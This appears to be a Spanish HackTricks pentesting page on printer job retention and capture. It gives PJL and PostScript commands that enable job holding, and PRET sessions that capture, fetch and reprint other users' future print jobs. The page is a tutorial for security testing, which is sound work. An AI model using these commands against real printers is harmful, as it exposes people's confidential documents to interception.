hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md

122 lines
8.6 KiB
Markdown

<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Retención de Trabajos
Algunas impresoras tienen trabajos de impresión almacenados accesibles desde el servidor web. Sin embargo, generalmente la retención de trabajos debe ser activada explícitamente para un trabajo de impresión determinado y se puede hacer utilizando comandos PJL estándar o código PostScript propietario. Los trabajos se mantienen entonces en memoria y pueden ser reimprimidos desde el panel de control.
## PJL
La retención legítima de trabajos puede ser habilitada para el documento actual estableciendo la variable PJL HOLD como se muestra a continuación:
```
@PJL SET HOLD=ON
[actual data to be printed follows]
```
Los trabajos en espera se mantienen en memoria y pueden ser reimpresos desde el panel de control de la impresora. Esta característica es soportada por varias impresoras, sin embargo, parece que solo algunos dispositivos Epson permiten que la retención permanente de trabajos sea configurada usando `@PJL DEFAULT HOLD=ON`.
**¿Cómo probar este ataque?**
Utiliza el comando `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo pjl para verificar si se puede configurar la retención permanente de trabajos:
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF
```
## PostScript
PostScript ofrece una funcionalidad similar que, sin embargo, es específica del modelo y del fabricante. Para la serie HP LaserJet 4k y varias impresoras Kyocera, la retención de trabajos se puede habilitar anteponiendo los siguientes comandos a un documento PostScript:
```
<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
```
**Cómo probar este ataque?**
Usa el comando `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
```
# Captura de Trabajos
Es posible, aunque poco común, activar la retención de trabajos en el diálogo de impresión como se discutió anteriormente. Sin embargo, con PostScript, se tiene acceso completo sobre el trabajo de impresión actual y con el operador [startjob](./#postscript-ps), es incluso posible salir del bucle del servidor y acceder a trabajos futuros. Tal funcionalidad tiene el potencial de capturar todos los documentos si PostScript se utiliza como un controlador de impresora.
## PostScript
Con la capacidad de engancharse a operadores PostScript arbitrarios, es posible manipular y acceder a trabajos de impresión ajenos. Para **analizar el flujo de datos actual enviado a la impresora**, se puede aplicar una característica bastante interesante del lenguaje PostScript: leer su propio código de programa como datos utilizando el operador `currentfile`. De esta manera, se puede acceder al flujo de datos completo que será procesado por el intérprete de PostScript leyendo y almacenándolo en un archivo en el dispositivo de impresión. Si la impresora no ofrece acceso al sistema de archivos, **los documentos capturados pueden almacenarse en memoria**, por ejemplo, dentro de diccionarios permanentes de PostScript. \
Un problema práctico es decidir **qué operador debe ser enganchado** ya que no se obtiene acceso al flujo de datos hasta que este operador es procesado por el intérprete de PostScript. Como el atacante quiere capturar trabajos de impresión desde el principio, el **operador redefinido debe ser el primer operador** contenido en el documento PostScript. Afortunadamente, todos los documentos impresos con CUPS tienen una estructura fija que comienza con `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. Basándose en la suposición de tal estructura fija, el atacante puede capturar documentos desde el principio y ejecutar (es decir, imprimir) el archivo después. Para sistemas de impresión **distintos de CUPS** este ataque también debería ser posible, pero **los operadores necesitan ser adaptados**. Tenga en cuenta que el encabezado de PostScript, que generalmente incluye el tamaño del medio, el usuario y los nombres de los trabajos, no puede ser capturado utilizando este método porque primero nos enganchamos al comienzo del documento actual. Otra estrategia genérica para engancharse al comienzo de cada trabajo de impresión es establecer el parámetro del sistema `BeginPage`, si es soportado por la impresora (la mayoría lo hace). Esta vulnerabilidad ha estado presumiblemente presente en dispositivos de impresión durante décadas, ya que solo se abusan de las construcciones del lenguaje definidas por el estándar de PostScript.
Utilice el comando `capture` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture
Print job operations: capture <operation>
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
```
Ahora, imprime documentos arbitrarios (asegúrate de que PRET esté desconectado para no bloquear el canal de impresión). Después, puedes listar, obtener o reimprimir documentos capturados:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
date size user jobname creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>